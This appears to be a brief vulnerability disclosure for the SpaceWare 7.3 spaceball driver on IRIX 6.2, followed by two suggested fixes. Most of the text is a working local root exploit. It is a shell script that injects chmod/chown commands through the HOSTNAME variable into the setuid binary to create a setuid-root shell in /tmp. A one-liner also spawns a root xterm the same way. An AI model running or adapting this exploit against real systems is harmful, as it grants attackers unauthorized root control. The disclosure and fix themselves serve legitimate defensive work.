I guess anyone who's reading this already have noticed (if you are playing with a SpaceBall), anyway here it goes: ========================================================================== #!/bin/sh SWDIR=/usr/local/SpaceWare cp /bin/sh /tmp/sh echo 6 | HOSTNAME="/bin/chmod 4755 /tmp/sh" \ $SWDIR/spaceball > /dev/null 2>&1 echo 6 | HOSTNAME="/bin/chown root /tmp/sh" \ $SWDIR/spaceball > /dev/null 2>&1 /tmp/sh ========================================================================== more information: IRIX 6.2 spaceware 7.3 v1.0 (http://www.spacetec.com/) ftp://ftp.spacetec.com/put/spaceball2003and3003/drivers/app.irix.7_3.tar (Obviously, you can use HOSTNAME for any command you want to run as root, like echo 6 | HOSTNAME="`which xterm` -e `which sh`" /usr/local/SpaceWare/spaceball ) Fix: a) rm (since spaceball.sh does lots of nasty things, like running spaceball demos as root, probably this is the best solution) b) set HOSTNAME=/usr/bsd/hostname in the "Utilities" section of $SWDIR/spaceball.sh